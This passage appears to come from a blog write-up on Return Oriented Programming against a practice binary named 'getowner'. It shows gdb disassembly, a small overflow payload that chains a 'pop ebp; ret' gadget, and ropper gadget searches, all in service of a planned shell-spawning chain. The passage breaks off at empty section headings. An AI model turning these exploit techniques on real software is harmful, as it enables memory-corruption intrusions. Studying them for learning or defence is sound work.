I tinkered with a few ideas, but nothing fruitful or exciting came up. I sat for hours and hours thinking, experimenting, researching- but I still couldn’t figure out how to reliably exploit this program. So, I decided it was best for myself to put this project down and pick it up the following day.

The next day came and went. So did the day after that. The following weeks were hoarded by school, work, and social activities.

Finally and abruptly, my mind circled back around to this problem with a new idea: ROPping.

ROP

Return Oriented Programming, or ROP for short, is the idea of chaining together small “gadgets” of executable code with stack control in order to get the program to do something more complex. It’s an exploitation technique that can enable us to expand the functionality provided to us within getowner.

At the time of experimentation, I was unfamiliar with ROP. I found ROP Emporium to be a great training grounds- check it out if you want to practice.

Gadgets

Gadgets, in the context of ROP, are small instruction strings at predictable addresses that provide some useful functionality for us. They should end in a ret, jmp, or call. Take, for example, the closing instructions of main():

gdb-peda$ disassemble main
Dump of assembler code for function main:
   [...]
   0x08048505 <+209>:	add    esp,0xec
   0x0804850b <+215>:	pop    edi
   0x0804850c <+216>:	pop    ebp
   0x0804850d <+217>:	ret    
End of assembler dump.
gdb-peda$ 

Since the address of main() isn’t randomized, these instructions are always at a predictable location. If we ever need to pop edi; pop ebp; ret, we can return to memory address 0x0804850b. Combined with our stack control, we can now control the register values for %edi and %ebp.

Finding useful gadgets and chaining them together is the foundation of ROP. But what exactly is a “useful” gadget?

  1. Arithmetic gadgets can help us manipulate data in memory or register values as necessary. (e.g. add eax, 1; ret)
    • Specifically, we could use an add or subtract gadget in the right context to help us mathematically locate libc functions with an address leak.
  2. Memory manipulation gadgets (write or read) can help us move data to or from memory. (e.g. mov [esi], edi; ret)
  3. Register manipulation gadgets, like the one listed above, can help us manipulate register values. (e.g. pop ebp; ret)
  4. Call or syscall gadgets can help us manipulate the program’s control flow. (e.g. call eax)
  5. Stack pivoting gadgets can help us manipulate the stack frame. (e.g. leave; ret)

Let’s walk through a short example of chaining two gadgets together in getowner using gdb. I’ll be using the following gadget to control the %ebp register before returning to main().

0x0804850c: pop ebp; ret;

To utilize this gadget and return back to main, I’ll need to format the payload in the following way.

junk = "A" * 135
main = "\x34\x84\x04\x08"
popebp = "\x0c\x85\x04\x08"
new_ebp_value = "\xef\xbe\xad\xde"

payload = junk + popebp + new_ebp_value + main

This payload should set the return address of main() to our pop ebp; ret gadget, set %ebp to 0xdeadbeef after the pop, and return from the gadget to the top of main(). Let’s step through it in gdb.

Now that we understand how to use gadgets, why don’t we look at which gadgets getowner provides us with? I’ll be using ropper (?) to find out.

Arithmetic

The main reason I’m looking for an arithmetical gadget is to “walk” through libc using addition or subtraction with the base of a libc GOT entry. With this method, I’ll be able to move something like the printf() address to the addresses of system(), exit(), or "/bin/sh", which we’ll need to call our shell*. It’s for this reason that I don’t care about multiplication, division, or bit shifting; I only care about addition or subtraction.

* There are plenty of other methods to spawn an interactive shell (e.g. execve or interrupt calls), but for the sake of simplicity, we’ll stick to the example that was covered above.

Let’s see what kind of addition or subtraction gadgets are available to us within getowner. I’ll highlight the ones that I find interesting or easy to use.

(getowner/ELF/x86)> search /2/ add
[INFO] Searching for gadgets: add

[INFO] File: ./getowner
0x0804840a: add al, 8; add ecx, ecx; ret; 
0x0804842d: add al, 8; call eax; 
0x080483f7: add al, 8; call edx; 
0x080482fe: add al, byte ptr [eax]; add cl, cl; ret; 
0x080483bd: add byte ptr [eax], al; add byte ptr [ebx - 0x7f], bl; ret; 
0x08048508: add byte ptr [eax], al; add byte ptr [edi + 0x5d], bl; ret; 
0x0804859e: add byte ptr [eax], al; inc edi; call dword ptr [esi]; 
0x0804861e: add byte ptr [eax], al; sub ebx, 4; call eax; 
0x080482ff: add byte ptr [eax], al; leave; ret; 
0x080483bf: add byte ptr [ebx - 0x7f], bl; ret; 
0x0804850a: add byte ptr [edi + 0x5d], bl; ret; 
0x08048300: add cl, cl; ret; 
0x08048407: add eax, 0x80497b4; add ecx, ecx; ret; 
0x080483f1: add eax, 4; mov dword ptr [0x80497b0], eax; call edx; 
0x0804840c: add ecx, ecx; ret; 

(getowner/ELF/x86)> search /2/ sub
[INFO] Searching for gadgets: sub

[INFO] File: ./getowner
0x08048620: sub ebx, 4; call eax; 

(getowner/ELF/x86)> 

It looks like there are no good subtraction gadgets available, but that’s okay- we can just use integer overflow to subtract if we really need to. The first gadget (at 0x0804840a) should add 8 to the least significant byte of %eax, otherwise known as %al (?). The other two (at 0x080483bf and 0x0804850a) use %ebx and %edi respectively as memory addresses, and add the least significate byte of %ebx to the data at those addresses (actually a constant offset away, but still achieves the same goal).

To utilize the first gadget, we’ll need to be able to control the value of %eax. To utilize the second, we’ll need %ebx. For the third, we’ll need control over both %edi and %ebx.

It’s worth noting that, while the second gadget is interesting, we’ll have a harder time controlling what value we’re actually adding because %ebx serves as both a pointer AND an addition value. Similarly, while the first gadget is interesting, it’s useless if we can’t control and save the value of %eax. Regardless, we’ll need to see which registers we have control over before making a decision.

Memory Manipulation

When searching for a memory manipulation gadget, I’ll only be interested in arbitrary memory write (e.g. mov dword ptr [eax], ebx) or arbitrary memory read (e.g. mov eax, dword ptr [ebx]) gadgets.

Let’s see what we have. Again, I’ll highlight the ones that I found interesting.

(getowner/ELF/x86)> search mov [
[INFO] Searching for gadgets: mov [

[INFO] File: ./getowner
0x08048406: mov byte ptr [0x80497b4], 1; leave; ret; 
0x080483f4: mov dword ptr [0x80497b0], eax; call edx; 
0x08048428: mov dword ptr [esp], 0x80496b0; call eax; 
0x08048428: mov dword ptr [esp], 0x80496b0; call eax; leave; ret; 

(getowner/ELF/x86)> search mov %, [
[INFO] Searching for gadgets: mov %, [

[INFO] File: ./getowner
0x080484ff: mov eax, dword ptr [ebp - 0xe4]; add esp, 0xec; pop edi; pop ebp; ret; 
0x080485b3: mov ebx, dword ptr [esp]; ret; 
0x08048400: mov edx, dword ptr [eax]; test edx, edx; jne 0x3f1; mov byte ptr [0x80497b4], 1; leave; ret; 

(getowner/ELF/x86)>  

The first gadget provides arbitrary control over %eax (assuming that we have control over %ebp), but increments the stack pointer register (%esp) by 0xec (decimal 236). So, unless we want to waste a precious 236 bytes of our stack frame, this isn’t feasible.

The second gadget is almost like a pop %ebx instruction, but doesn’t change the stack pointer. It just sets %ebx to the value at the top of the stack. Not exactly what we’re looking for.

The third gadget loads the value at the memory address stored in %eax into %edx. This seems useful, but ends in a mandatory stack pivot (leave), so unless we can know the address of the stack at runtime (which is randomized by ASLR), we’ll have to come up with a different plan.

All three of these gadgets are memory read gadgets; it looks like there are no gadgets that allow us to store an arbitrary value into memory.

It’s worth noting that I could have searched harder for arbitrary memory manipulation gadgets (and likely found more useful ones), but they ended up not being necessary for the final payload.

Register Manipulation

What we’re looking for here is a way to set registers to arbitrary values. Usually, register manipulation gadgets come in the form of pop %reg; ret, but as we saw above, there are other ways to manipulate registers as well. Regardless, lets search for popret gadgets:

(getowner/ELF/x86)> search pop
[INFO] Searching for gadgets: pop

[INFO] File: ./getowner
0x0804862c: pop eax; pop ebx; pop ebp; nop; ret; 
0x080483d6: pop eax; pop ebx; leave; ret; 
0x0804862e: pop ebp; nop; ret; 
0x0804850c: pop ebp; ret; 
0x0804862d: pop ebx; pop ebp; nop; ret; 
0x080485ef: pop ebx; pop ebp; ret; 
0x08048558: pop ebx; pop esi; pop edi; pop ebp; ret; 
0x080483d7: pop ebx; leave; ret; 
0x0804864c: pop ecx; pop ebx; leave; ret; 
0x0804850b: pop edi; pop ebp; ret; 
0x08048559: pop esi; pop edi; pop ebp; ret; 

(getowner/ELF/x86)> 

Wow, lucky us! Looks like we have control over a lot of different registers using the same kind of gadget that I showed above. Specifically, the full list is:

  1. %eax
  2. %ebx
  3. %ecx
  4. %esi
  5. %edi
  6. %ebp

Notably, we don’t have control over %edx, but that’s okay. We can control the two remaining registers, %eip (instruction pointer register) and %esp (stack pointer register), with ret or stack pivoting (which we’ll cover in a moment) respectively.

Call or Syscall

Stack Pivot

Updated: